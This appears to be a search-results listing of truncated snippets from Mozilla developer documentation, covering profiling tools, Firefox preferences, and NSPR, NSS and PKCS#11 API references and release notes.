web content. the informative labels are only present on function timers that have had their creation site annotated. for unannotated function timers, there are three possible behaviours. first, on mac the code uses dladdr to get the name immediately, and the output will look like the following. 2082435840[100445640]: [81190] fn timer (one_shot 8000 ms): [from dladdr] gfxfontinfoloader::delayed
startcallback(nsitimer*, void*) second, on linux the code uses dladdr to get the symbol library and address, which can be post-processed by tools/rb/fix_stacks.py. the following two lines show the output before and after being post-processed by that script. 2088737280[7f606bf68140]: [30710] fn timer (one_shot 16 ms): [from dladdr] #0: ???[/home/njn/moz/mi1/o64/dist/bin/libxul.so +0x2144f94] 208...
dtrace
dtrace is a powerful mac os x kernel instrumentation system that can be used to profile wakeups. this article provides a light introduction to it. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. invocation dtrace must be invoked as the super-user. a good
starting command for profiling wakeups is the following. sudo dtrace -n 'mach_kernel::wakeup { @[ustack()] = count(); }' -p $firefox_pid > $output_file let's break that down further. the -n option combined with the mach_kernel::wakeup selects a probe point. mach_kernel is the module name and wakeup is the probe name. you can see a complete list of probes by running sudo dtrace -l. the code between the braces is run when the p...
powermetrics
iptable fashion (unlike activity monitor and top) especially in combination with rapl via the mach power command. this document describes the version of powermetrics that comes with mac os 10.10. the one that comes with 10.9 is less powerful. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. quick
start powermetrics provides a vast number of measurements. the following command encompasses the most useful ones: sudo powermetrics --samplers tasks --show-process-coalition --show-process-gpu -n 1 -i 5000 --samplers tasks tells it to just do per-process measurements. --show-process-coalition tells it to group coalitions of related processes, e.g. the firefox parent process and child processes. ...
Phishing: a short definition
s, presented at the 2007 ieee symposium on security and privacy, suggests that the above countermeasures fail to protect the majority of users. this too, includes missing https or ev certificate indicators in a browser’s navigation bar. services assuming responsibility technical solutions can be more efficient if implemented to protect millions of users automatically. as most phishing attacks
start with unsolicited email messages, a clear
starting point is improving spam filters, thus reducing the number of fraudulent messages reaching users. web browser vendors too, are interested in protecting their users from phishing. after all, the browser plays an essential role in the scheme: a fake website is loaded in a browser and here is the maker’s last chance to preventing fraud. since versi...
A brief guide to Mozilla preferences
name.js preference file (install_directory/browser/defaults/preferences/all-companyname.js). this will be parsed last during the preference loading process. the administrator may alternatively put a user.js file in app_dir/defaults/profile/ ; this will put a copy of the user.js in all new profiles. this method has the advantage of resetting preferences back to administrator defaults at every
start-up. note that, because a user typically has access privilege to his or her profile directory, he or she can change the default values if he or she knows how. another disadvantage is that existing profiles will not be affected. this method is considered user-hostile. any use of this technique by software such as firefox extension to override normal user preference will result in being added to the...
browser.altClickSave
the preference browser.altclicksave controls whether clicking a link while holding the alt key
starts the download of that link. type:boolean default value: false exists by default: yes application support:firefox 13.0 status: active; last updated 2012-03-19 introduction: pushed to nightly on 2012-03-02 bugs: bug 713052 values true clicking a link while holding the alt key
starts the download of that link. false (default) no action triggered (see bug 736985). ...
browser.dom.window.dump.file
browser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true. changes require an application re
start. type:string default value:none exists by default: no application support: gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) status: active; last updated 2012-03-18 introduction: pushed to nightly on 2009-04-24 bugs: bug 489938 values the value holds the file system path for the file in which the content of the window.dump() calls get written, e.g. c:\dump.txt . it will be created if it doesn't exist yet. the line breaks have to be in the argument of the dump function, else successive dump calls will get logged into the same line. related browser.d...
browser.urlbar.trimURLs
e is exactly the domain name) are hidden. type:boolean default value: true exists by default: yes application support:firefox 7.0 status: active; last updated 2012-04-03 introduction: pushed to nightly on 2011-06-23 bugs: bug 665580 values true (default) if the active url is exactly the domain name, the trailing slash (/) behind the top level domain will be hidden. if the address
starts with http:// and neither
starts with a ftp. subdomain nor contains @ (usually for ftp login information), the http:// prefix will be hidden. examples: https://www.example.org/ becomes https://www.example.org, http://www.example.org/foobar becomes www.example.org/foobar and http://ftp.example.org/foobar remains unchanged. false all parts of the url are shown. ...
mail.tabs.drawInTitlebar
the old behavior can be restored by setting the preference mail.tabs.drawintitlebar to false. type:boolean default value: true exists by default: yes application support:thunderbird 17.0 status: active; last updated 2012-09-17 introduction: pushed to daily on 2012-08-08 bugs: bug 771816 values true (default) the tabs are drawn in the title bar of the mail program. false the tabs are drawn in a separate tab bar, and the title bar shows the title of the current tab (e.g. the subject of the currently selected mail). ...
nglayout.debug.disable_xul_cache
ve performance, mozilla caches chrome xul documents the first time they load for faster loading later. the effect is that the source xml file is not read and re-parsed each time the chrome in question is displayed. the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a “compiled” version of the xul and javascript in a document to disk for faster
startup the next time the application runs. during development of xul applications, it’s convenient to disable the xul cache so that changes you make to files on disk take effect the next time the window or dialog is loaded (instead of the next time mozilla
starts). possible values and their effects: true: do not cache parsed xul documents and do not save the cache to the xul fastload file on exit; r...
Preferences system
this document describes toolkit's preferences system. using this system it is possible to create preferences windows that display and operate appropriately on various platforms (windows, macos x and gnome). the system is implemented through a few xul elements and attributes. ...
A guide to searching crash reports
"crash reports" tab of any search results, and are not related to grouping.) the "facet on" field is the one that controls grouping. by default, it contains the value "signature", which explains why we saw a "signature facet" tab in the earlier search results. but we can change the values in this field and get different facet tabs in the search results. grouping by platform for example, if we
start with a default search for all firefox crashes in the past week, but then replace the "signature" facet with "platform" and "moz crash reason", we get search results with two facet tabs. the first of these is a "platform facet" tab, with results like those shown in the following screenshot. this has the same columns as the "signature facet" tab we saw earlier, except for the "bugs" column, beca...
L20n HTML Bindings
gual mode l20n can also operate in the so-called monolingual mode, when there is only one locale available. it doesn't have any specific locale code (internally, it's called i-default in compliance to rfc 2277). there is no language negotiation nor locale fallback possible in the monolingual mode. l20n simply always uses this one default locale. the monolingual mode may be useful when you first
start a new project, when you want to test something quickly or when using server-side language negotiation. in order to enable the monolingual mode, remove the manifest link from your html. with no information about the available and the default locales, l20n will switch to the monolingual mode. you can then embed localization resources right in your html. <script type="application/l20n"> <brandna...
MailNews automated testing
ave. message injection: inject synthesized messages via local or imap (using a fake server). message manipulation: mark messages as read, tag them, untag them, move them to other folders, trash them, etc. enhanced logging: supports generating rich json streams to disk or over the network for consumption by logsploder or other tools. performance testing mail leak and bloat tests these tests
start up thunderbird or seamonkey and record any leaks found, as well as the total memory requirement. although currently based on simple tests, these are useful for determining if new leaks have been introduced. for more information, see leak and bloat tests. ...
Midas editor module security preferences
licy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); change the url https://www.mozilla.org to the site for which you want to enable this function. save the file and re
start firefox. the clipboard buttons in the demo, or similar buttons on the sites you listed, should now function. note: the preference is site as well as protocol specific. for example: user_pref("capability.policy.allowclipboard.sites", "http://www-archive.mozilla.org") is not the same as: user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org") this is because t...
Midas
cument becomes editable by the user. scripting for midas is based on the dhtml commands supported by internet explorer. internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object; this is how midas is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contenteditable attribute;
starting with firefox 3, gecko also supports contenteditable. once midas is invoked, a few more methods of the document object become available. you can try demo of this here. properties document.designmode by setting this property to "on", the document becomes editable. notes since an entire document becomes editable, authors often load the editable document into an iframe and do the bulk of ...
About NSPR
be restructured and perhaps even rewritten in order to use the nspr api. it is not a goal to provide a platform for the porting into netscape of externally developed code. at the time of writing the current generation of nspr was known as nspr20. the first generation of nspr was originally conceived just to satisfy the requirements of porting java to various host environments. nspr20, an effort
started in 1996, built on that original idea, though very little is left of the original code. (the "20" in "nspr20" does not mean "version 2.0" but rather "second generation".) many of the concepts have been reformed, expanded, and matured. today nspr may still be appropriate as the platform dependent layer under java, but its primary application is supporting clients written entirely in c or c++. ho...
Creating a Cookie Log
d. enabling cookie logging windows open a command prompt (this is under programs or programs/accessories in normal installations of windows). change to your firefox directory (usually c:\program files\mozilla firefox) type "set nspr_log_file=c:\temp\cookie-log.txt", enter type "set nspr_log_modules=cookie:4" and press enter run firefox by typing "firefox.exe" and pressing enter. linux
start a command shell (these instructions are for bash, if you use something else, you probably know how to modify these instructions already). change to the installation directory for firefox. type "export nspr_log_file=~/cookie-log.txt" and press enter. type "export nspr_log_modules=cookie:4" and press enter. run firefox by typing "./firefox" and pressing enter mac os x open terminal.app, wh...
Optimizing Applications For NSPR
products - yet. the specific area surrounding pthread's continuation thread has been both observed and empirically proven faulty, and a correction identified. macintosh the current port of nspr for macintosh will not be usable in its own right. the implementation has dependencies on libraries that are implemented in the netscape communicator. the work to undo this dependency has already been
started and the result will be made available soon. macintosh threads are not preemptable. as usual, it isn't that we couldn't preempt them, but rather that the macintosh libraries are not prepared for such things to happen. nspr does take advantage of macintosh' asynchronous i/o capability to perform scheduling during i/o. still, there is no enforceable mechanism to guarantee thread scheduling fairne...
Date and Time
, microseconds, and nanoseconds. pr_msec_per_sec pr_usec_per_sec pr_nsec_per_sec pr_usec_per_msec pr_nsec_per_msec types and constants types and constants defined for nspr dates and times are: prtime prtimeparameters prexplodedtime time parameter callback functions in some geographic locations, use of daylight saving time (dst) and the rule for determining the dates on which dst
starts and ends have changed a few times. therefore, a callback function is used to determine time zone information. you can define your own time parameter callback functions, which must conform to the definition prtimeparamfn. two often-used callback functions of this type are provided by nspr: prtimeparamfn pr_localtimeparameters and pr_gmtparameters functions the functions that create and ma...
PRErrorCode
type for error codes that can be retrieved with pr_geterror. you can also set your own errors using pr_seterror. syntax #include <prerror.h> typedef print32 prerrorcode description the service nspr offers in this area is the ability to associate a thread-specific condition with an error number. the error number namespace is not well managed. nspr assumes error numbers
starting at -6000 (decimal) and progressing towards zero. at present less than 100 error codes have been defined. if nspr's error handling is adopted by calling clients, then some sort of partitioning of the namespace will have to be employed. nspr does not attempt to address this issue. for nspr errors, see error codes. ...
PRExplodedTime
ing the local time zone information, so that the time point is non-ambiguously specified. the essential members of prexplodedtime are: tm_year: absolute year, ad (by "absolute," we mean if the year is 2000, this field's value is 2000). tm_month: number of months past tm_year. the range is [0, 11]. 0 is january and 11 is december. tm_mday: the day of month. the range is [1, 31]. note that it
starts from 1 as opposed to 0. tm_hour: number of hours past tm_mday. the range is [0, 23]. tm_min: number of minutes past tm_hour. the range is [0, 59]. tm_sec: number of seconds past tm_min. the range is [0, 61]. the values 60 and 61 are for accommodating up to two leap seconds. tm_usec: number of microseconds past tm_sec. the range is [0, 999999]. tm_params: a prtimeparameters structure represe...
PR_Listen
cklog the maximum length of the queue of pending connections. returns the function returns one of the following values: upon successful completion of listen request, pr_success. if unsuccessful, pr_failure. further information can be obtained by calling pr_geterror. description pr_listen turns the specified socket into a rendezvous socket. it creates a queue for pending connections and
starts to listen for connection requests on the socket. the maximum size of the queue for pending connections is specified by the backlog parameter. pending connections may be accepted by calling pr_accept. ...
PR_MemMap
maps a section of a file to memory. syntax #include <prio.h> void* pr_memmap( prfilemap *fmap, print64 offset, pruint32 len); parameters the function has the following parameters: fmap a pointer to the file-mapping object representing the file to be memory-mapped. offset the
starting offset of the section of file to be mapped. the offset must be aligned to whole pages. len length of the section of the file to be mapped. returns the
starting address of the memory region to which the section of file is mapped. returns null on error. description pr_memmap maps a section of the file represented by the file mapping fmap to memory. the section of the file
starts at offset and has the length len. when the file-mapping memory region is no longer needed, it should be unmapped ...
PR_NewTCPSocket
tcp (transmission control protocol) is a connection-oriented, reliable byte-stream protocol of the tcp/ip protocol suite. pr_newtcpsocket creates a new ipv4 tcp socket. a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). typically, the server binds its socket to a well-known port with pr_bind, calls pr_listen to
start listening for connection setup requests, and calls pr_accept to accept a connection. the client makes a connection request using pr_connect. after a connection is established, the client and server may send and receive data between each other. to receive data, one can call pr_read or pr_recv. to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile. pr_acceptread is suitable f...
PR_OpenTCPSocket
trol protocol) is a connection-oriented, reliable byte-stream protocol of the tcp/ip protocol suite. pr_opentcpsocket creates a new tcp socket of the address family af. a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). typically, the server binds its socket to a well-known port with pr_bind, calls pr_listen to
start listening for connection setup requests, and calls pr_accept to accept a connection. the client makes a connection request using pr_connect. after a connection is established, the client and server may send and receive data between each other. to receive data, one can call pr_read or pr_recv. to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile. pr_acceptread is suitable f...
PR_SetLogBuffering
the application can use the model provided in use example to effect application logging. ...
PR_SetLogFile
s the function has this parameter: name the name of the log file. returns pr_true when successful. otherwise, pr_false. description creates a log file with the specified file name. subsequent log messages are written to this file. ordinarily, a user application need not use this function, as nspr initializes logging at nspr
startup. the application can use the model provided in use example to effect application logging. ...
PR_Unmap
len the length, in bytes, of the memory region. returns the function returns one of the following values: if the memory region is successfully unmapped, pr_success. if the memory region is not successfully unmapped, pr_failure. ...
Certificate functions
removecertlistnode mxr 3.6 and later cert_rfc1485_escapeandquote mxr 3.2 and later cert_savesmimeprofile mxr 3.2 and later cert_setsloptime mxr 3.2 and later cert_setocspfailuremode mxr 3.11.7 and later cert_setocsptimeout mxr 3.12 and later cert_setusepkixforvalidation mxr 3.12 and later cert_
startcertextensions mxr 3.5 and later cert_
startcertificaterequestattributes mxr 3.10 and later cert_
startcrlentryextensions mxr 3.10 and later cert_
startcrlextensions mxr 3.10 and later cert_uncachecrl mxr 3.10 and later cert_verifycertname mxr 3.2 and later cert_verifycacertforusage mxr 3.6 and later ...
NSS FAQ
e nss into my application? the integration effort depends on an number of factors, such as developer skill set, application complexity, and the level of security required for your application. nss includes detailed documentation of the ssl api and sample code that demonstrates basic ssl functionality (setting up an encrypted session, server authentication, and client authentication) to help jump
start the integration process. however, there is little or no documentation currently available for the rest of the nss api. if your application requires sophisticated certificate management, smart card support, or hardware acceleration, your integration effort will be more extensive. where can i download the nss tools? binary builds of nss for several platforms including the command-line tools can b...
FIPS Mode - an explanation
ecial way. this makes it difficult to move keys from one device to another, and consequently, all crypto engines and key storage must be in a single device rather than being split up into several devices. how does this affect firefox users? these requirements have several implications for users. in fips mode, every user must have a good strong "master password", and must enter it each time he
starts or re
starts firefox before he can visit any web sites that use cryptography (https). firefox can only use the latest version of ssl, known as "tls", and not the older ssl 2 or ssl 3.0 protocols, and firefox can only talk to those servers that use fips standard encryption algorithms such as aes or triple-des. servers that can only use non-fips-approved encryption, such as rc4, cannot be used in...
HTTP delegation
a full implementation of a http client. or you might choose to leverage an existing http client library and implement the callback functions as a thin layer that forwards requests from nss to the http client library. to learn about all the details, please read the documentation contained in the nss c header files. look for function sec_registerdefaulthttpclient and all functions having names that
start with sec_http. to find an example implementation, you may look at bug 111384, which tracks the implementation in mozilla client applications. specifying an ocsp proxy the remainder of this document is a short howto. one might expect the api defines a simple function that accepts the uri and data to be sent, and returns the result data. but there is no such simple interface. the api should allow n...
HTTP delegation
a full implementation of a http client. or you might choose to leverage an existing http client library and implement the callback functions as a thin layer that forwards requests from nss to the http client library. to learn about all the details, please read the documentation contained in the nss c header files. look for function sec_registerdefaulthttpclient and all functions having names that
start with sec_http. to find an example implementation, you may look at bug 111384, which tracks the implementation in mozilla client applications. specifying an ocsp proxy the remainder of this document is a short howto. one might expect the api defines a simple function that accepts the uri and data to be sent, and returns the result data. but there is no such simple interface. the api should allow n...
JSS FAQ
ertificateselectioncallback is analogous to ssl_getclientauthdatahook. can i have multiple jss instances reading separate db's? no, you can only have one initialized instance of jss for each database. once jss initialized, i can't get anymore instances with certificatefactory.getinstance("x.509")? in version previous to jss 3.1, jss removes the default sun provider on
startup. upgrade to the latest jss, or, in the cryptomanager.initializationvalues object you pass to cryptomanager.initialize(), set removesunproivider=true. is it possible to sign data in java with jss? what i am trying to do is write a java applet that will access the netscape certificate store, retrieve a x509 certificate and then sign some data. the best way to do this is with the pkcs #7 ...
JSS
on to public-key cryptography. explains the basic concepts of public-key cryptography that underlie nss and jss. introduction to ssl. introduces the ssl protocol, including information about cryptographic ciphers supported by ssl and the steps involved in the ssl handshake. for information on downloading nss releases, see nss sources building testing. read using jss to get you
started with development after you've built and downloaded it. release notes 4.3.1 release notes 4.3 release notes older release notes build instructions building jss 4.4.x building jss 4.3.x older build instructions download or view source download binaries, source, and javadoc view the source online testing ...
NSS Key Log Format
key logs can be written by nss so that external programs can decrypt tls connections. wireshark 1.6.0 and above can use these log files to decrypt packets. you can tell wireshark where to find the key file via edit→preferences→protocols→ssl→(pre)-master-secret log filename. key logging is enabled by setting the environment variable sslkeylogfile to point to a file. note:
starting with nss 3.24 (used by firefox 48 and 49 only), the sslkeylogfile approach is disabled by default for optimized builds using the makefile (those using gyp via build.sh are not affected). distributors can re-enable it at compile time though (using the nss_allow_sslkeylogfile=1 make variable) which is done for the official firefox binaries. (see bug 1188657.) notably, debian does not have this option ena...
NSS 3.12.5 release_notes
) or port_free(item->data) call. in secasn1.h: if both pool and dest are null, the caller should free the returned secitem with a secitem_freeitem(..., pr_true) call. if pool is null but dest is not null, the caller should free the data buffer pointed to by dest with a secitem_freeitem(dest, pr_false) or port_free(dest->data) call. environment variables nss_fips will
start nss in fips mode. nss_ssl_enable_renegotiation nss_ssl_require_safe_negotiation see ssl3 & tls renegotiation vulnerability. bugs fixed the following bugs have been fixed in nss 3.12.5. bug 510435: remove unused make variable dso_ldflags bug 510436: add macros for build numbers (4th component of version number) to nssutil.h bug 511227: firefox 3.0.13 fails to compile...
NSS 3.14.1 release notes
t pkcs#11 token. bug 802429 - the nss softoken is now the default token for sha-256 and sha-512. in previous versions of nss, these algorithms would be handled by the most recently added pkcs#11 token that supported them. bug 611451 - when built with the current version of apple xcode on mac os x, the nss shared libraries will now only export the public nss functions. bug 810582 - tls false
start is now only used with servers that negotiate a cipher suite that supports forward secrecy. note: the criteria for false
start may change again in future nss releases. bugs fixed in nss 3.14.1 the following bugzilla query returns all of the bugs fixed in nss 3.14.1: https://bugzilla.mozilla.org/buglist.cgi?list_id=5216669;resolution=fixed;query_format=advanced;bug_status=resolved;bug_status=v...
NSS 3.28 release notes
ated. nss will now no longer assume that default signature schemes are supported by a peer if there was no commonly supported signature scheme. nss will now check if rsa-pss signing is supported by the token that holds the private key prior to using it for tls (bug 1311950). the certificate validation code contains checks to no longer trust certificates that are issued by old wosign and
startcom cas, after october 21, 2016. this is equivalent to the behavior that mozilla will release with firefox 51. background information can be found in mozilla's blog post. bugs fixed in nss 3.28 this bugzilla query returns all the bugs fixed in nss 3.28: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.28 c...
NSS 3.31 release notes
1uri_destroyuri - destroy a pk11uri object. pk11uri_formaturi - format a pk11uri object to a string. pk11uri_getpathattribute - retrieve a path attribute with the given name. pk11uri_getqueryattribute - retrieve a query attribute with the given name. pk11uri_parseuri - parse pkcs#11 uri and return a new pk11uri object. new macros in pkcs11uri.h several new macros that
start with pk11uri_pattr_ for path attributes defined in rfc7512. several new macros that
start with pk11uri_qattr_ for query attributes defined in rfc7512. notable changes in nss 3.31 the apis that set a tls version range have been changed to trim the requested range to the overlap with a systemwide crypto policy, if configured. ssl_versionrangegetsupported can be used to query the overla...
NSS 3.33 release notes
3_rtm/src/ notable changes in nss 3.33 tls compression is no longer supported. api calls that attempt to enable compression are accepted without failure. however, tls compression will remain disabled. this version of nss uses a formally verified implementation of curve25519 on 64-bit systems. the compile time flag disable_ecc has been removed. when nss is compiled without nss_force_fips=1
startup checks are no longer performed. fixes cve-2017-7805, a potential use-after-free in tls 1.2 server, when verifying client authentication. various minor improvements and correctness fixes. new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" ...
NSS 3.35 release notes
or the sslsignaturescheme enum, the enumerated values ssl_sig_rsa_pss_sha* are deprecated in response to a change in tls 1.3. please use the equivalent ssl_sig_rsa_pss_rsae_sha* for rsaencryption keys, or ssl_sig_rsa_pss_pss_sha* for pss keys. note that this release does not include support for the latter. notable changes in nss 3.35 previously, nss used the dbm file format by default.
starting with version 3.35, nss uses the sql file format by default. below, are explanations that could be helpful for environments that need to adopt to the new default. if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information. nss supports two different database file formats: dbm: the ...
NSS 3.37 release notes
issue was found by oss fuzz. added hacl* poly1305 32-bit the code to support the npn protocol, which had already been disabled in a previous release, has been fully removed. nss allows servers now to register alpn handling callbacks to select a protocol. nss supports opening sql databases in read-only mode. nss now requires the sqlite apis of version 3.5.0 or newer.
starting with nss version 3.31, an alternative implementation for rng seeding on the linux/unix platform was available (bug 1346735), which performed seeding exclusively based on /dev/urandom. this alternative implementation is selected at build time by defining the seed_only_dev_urandom symbol. (the classic implementation for rng seeding on the linux/unix platform, which may use additional sources ...
NSS 3.39 release notes
ec - a helper function for modifying the pkcs#11 module configuration. it can be used to add a single flag to the flags= section inside the spec's nss= section. notable changes in nss 3.39 the tls 1.3 implementation uses the final version number from rfc 8446. previous versions of nss accepted an rsa pkcs#1 v1.5 signature where the digestinfo structure was missing the null parameter.
starting with version 3.39, nss requires the encoding to contain the null parameter. the tstclnt and selfserv test utilities no longer accept the -z parameter, as support for tls compression was removed in a previous nss version. the ca certificates list was updated to version 2.26. the following ca certificates were added: ou = globalsign root ca - r6 sha-256 fingerprint: 2cabeafe37...
NSS 3.42 release notes
.42 bug 1490006 - reject invalid ch.legacy_version in tls 1.3 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash. thanks to hanno böck and damian poddebniak for the discovery and fixes. note: this was mistakenly not in release 3.42, and is instead in nss 3.42.1. bug 1513913 - a fix for solaris where firefox 60 core dumps during
start when using profile from version 52 this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42 compatibility nss 3.42 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared lib...
NSS 3.47.1 release notes
load: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_47_1_rtm/src/ other releases are available in nss releases. new in nss 3.47.1 no new functionality is introduced in this release. ...
Enc Dec MAC Output Public Key as CSR
te request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_
startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequestattributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(arena, null, cr, sec_asn1_get(cert_certificatereques...
NSS Sample Code sample2
buf1 len must be atleast (data len + 8) */ tmp1_outlen = tmp2_outlen = 0; /* create cipher context */ enccontext = pk11_createcontextbysymkey(ciphermech, cka_encrypt...
nss tech note4
yoid[] = { 0xff, 0xff, 0xff, 0xff, .... }; static const secitem myoiditem = { (secitemtype) 0, (unsigned char *)myoid, sizeof(myoid) }; secitem myextvalue; mycertextdata data; secstatus rv = cert_findcertextensionbyoid(cert, &myoiditem, &myextvalue); if (rv == secsuccess) { sec_asn1decodercontext * context = sec_asn1decoder
start(null, &data, mycertexttemplate); rv = sec_asn1decoderupdate( context, (const char *)(myextvalue.data), myextvalue.len); if (rv == secsuccess) { /* now you can extract info from secitem fields of your extension data structure */ /* see "misc helper functions" below */ ....... /* free the secit...
nss tech note8
the protocol code builds such a structure, and then asks the cache code (client or server) to save the info. the protocol code can also ask to remove a sid from the cache. ...
NSS Tools sslstrength
ach single character represents a cipher. you can obtain this list of character->cipher mappings by doing 'sslstrength ciphers'. for example, ciphers=bfi will turn on these cipher preferences and turn off all others. policy=export or policy=domestic will set your policies appropriately. policy will default to domestic if not specified. step-up step up is a mode where the connection
starts out with 40-bit encryption, but due to a 'change-cipher-spec' handshake, changes to 128-bit encryption. this is only done in 'export mode', with servers with a special certificate. you can tell if you stepped-up, because the output will says 'using export policy', and you'll find the secret key size was 128-bits. prerequisites you should have a cert7.db in the directory in which you run sslstre...
Notes on TLS - SSL 3.0 Intolerant Servers
ile -- check the preference option setting at: edit | preferences | privacy and security | ssl | enable tls, and turn it off if it is on for these earlier browsers. netscape 6.1 or mozilla 0.9.2 and later these browsers shipped with the tls option on but also included a graceful rollback mechanism on the client side when they encounter known tls/ssl 3.0 intolerant servers. firefox 2 and later
starting with firefox 2, support for ssl 2.0 has been disabled by default; unless it is expressly re-enabled by the user using about:config. website administrators: how to avoid this problem? upgrade to a newer version if available, which corrects this problem. there will be other network clients which implement tls/ssl 3.0 specification correctly and have a problem with your site. let's not perpet...
PKCS11 FAQ
nclude an email address. the subjectaltname extension is part of the x.509 v3 and pkix specifications. if i have a multipurpose token that supports all required pkcs #11 functions and provides rsa_pkcs and dsa mechanisms but but not aes, des or rc4, will nss use the token for the rsa_pkcs mechanisms and the nss internal pkcs #11 module for aes, des or rc4 when making an ssl connection? once nss
starts using a token for a given operation (like s/mime or ssl), it works hard to keep using that same token (so keys don't get moved around). symmetric operations supported by nss include the following: ckm_aes_xxx, ckm_des3_xxx, ckm_des_xxx, ckm_rc2_xxx, and ckm_rc4_xxx. nss knows about all the mechanisms defined in pkcs #11 version 2.01, but will not perform those that aren't defined by nss's policy...
PKCS11 module installation
choose "advanced" > "encryption" > "security devices" choose "load" enter a name for the security module, such as "my client database". note: there is currently a bug in firefox where international characters may cause problems. choose "browse..." to find the location of the pkcs #11 module on your local computer, and choose "ok" when done. provisioning pkcs #11 modules using the pkcs11 api
starting with firefox 58, extensions can use the pkcs11 browser extension api to enumerate pkcs #11 modules and make them accessible to the browser as sources of keys and certificates. ...
PKCS #11 Module Specs
tain any printable ascii value, including utf8 characters. values can contain embedded blanks either through quoting the entire value, or by escaping the embedded blanks with '\'. the value is considered quoted if the first character after the '=' is ', ", {, [, or <. if the value is quoted, then the value is terminated with and ending quote of the form ', ", ), ], }, or > matching the respective
starting quote. ending quotes can be escaped. embedded '\' charaters are considered escape characters for the next character in the stream. note that case must be preserved in the values. these modules specs can be passed by the application directly to nss via the secmod_loadusermodule() call. to initialize a pkcs #11 module 'on-the-fly'. recognized names all applications/libraries must be able reco...
PKCS 12 functions
sec_pkcs12decodergetcerts mxr 3.4 and later sec_pkcs12decoderimportbags mxr 3.2 and later sec_pkcs12decoderiterateinit mxr 3.10 and later sec_pkcs12decoderiteratenext mxr 3.10 and later sec_pkcs12decodersettargettokencas mxr 3.8 and later sec_pkcs12decoder
start mxr 3.2 and later sec_pkcs12decoderupdate mxr 3.2 and later sec_pkcs12decodervalidatebags mxr 3.2 and later sec_pkcs12decoderverify mxr 3.2 and later sec_pkcs12destroyexportcontext mxr 3.2 and later sec_pkcs12enablecipher mxr 3.2 and later ...
Build instructions
stmode: if set to 'copy', mozilla/dist/<obj_stuff>/bin/* real files instead of symbolic links. these variables should be either undefined, or set to "1". results are undefined for variables set to "0". for windows, install the mozillabuild environment and microsoft visual studio 2010. (the free edition works, and other versions like visual studio 2008 and visual studio 2012 may also work.) use
start-shell-msvc2010.bat from mozillabuild to get a bash shell with the path already configured, and execute these instructions from within that bash shell. for rhel-5, you need to use the new assembler. you can install the new assembler as root as follows: yum install binutils220 you can then use the new assembler by adding /usr/libexec/binutils220 to the beginning of your build path. this can be d...
FC_DigestUpdate
name fc_digestupdate - process the next block of a multi-part digest operation. syntax ck_rv fc_digestupdate( ck_session_handle hsession, ck_byte_ptr ppart, ck_ulong uspartlen ); parameters hsession [in] session handle. ppart [in] pointer to the next block of data to be digested. uspartlen [in] length of data block in bytes. description fc_digestupdate
starts or continues a multi-part digest operation. one or more blocks may be part of the message digest operation. the digest for the entire message is returned by a call to fc_digestfinal. a user may call fc_digestupdate without logging into the token (to assume the nss user role). return value examples see also fc_digestinit, fc_digestfinal, nsc_digestupdate ...
FC_InitToken
e certificate database as non-user certs. (user certs are the certificates that have their associated private keys in the key database.) a user must be able to call fc_inittoken() without logging into the token (to assume the nss user role) because either the user's password hasn't been set yet or the user forgets the password and needs to blow away the password-encrypted private key database and
start over. note: the so password should be the empty string, i.e., ulpinlen argument should be 0. fc_inittoken() ignores the plabel argument. return value fc_inittoken() returns the following return codes. ckr_ok: token initialization succeeded. ckr_slot_id_invalid: slot id is invalid. ckr_token_write_protected we don't have a reference to the key database (we failed to open the key databas...
FC_SignUpdate
name fc_signupdate - process the next block of a multi-part signing operation. syntax ck_rv fc_signupdate( ck_session_handle hsession, ck_byte_ptr ppart, ck_ulong uspartlen ); parameters hsession [in] session handle. ppart [in] pointer to the next block of the data to be signed. uspartlen [in] length of data block in bytes. description fc_signupdate
starts or continues a multi-part signature operation. one or more blocks may be part of the signature. the signature for the entire message is returned by a call to fc_signfinal. a user must log into the token (to assume the nss user role) before calling fc_signupdate. return value examples see also fc_signinit, fc_signfinal, nsc_signupdate ...
FC_VerifyUpdate
name fc_verifyupdate - process the next block of a multi-part verify operation. syntax ck_rv fc_verifyupdate( ck_session_handle hsession, ck_byte_ptr ppart, ck_ulong uspartlen ); parameters hsession [in] session handle. ppart [in] pointer to the next block of the data to be verified. uspartlen [in] length of data block in bytes. description fc_verifyupdate
starts or continues a multi-part signature verification operation where the signature is an appendix to the data. one or more blocks may be part of the signature. the result for the entire message is returned by a call to fc_verifyfinal. a user must log into the token (to assume the nss user role) before calling fc_verifyupdate. return value examples see also fc_verifyfinal, nsc_verifyupdate ...
NSS environment variables
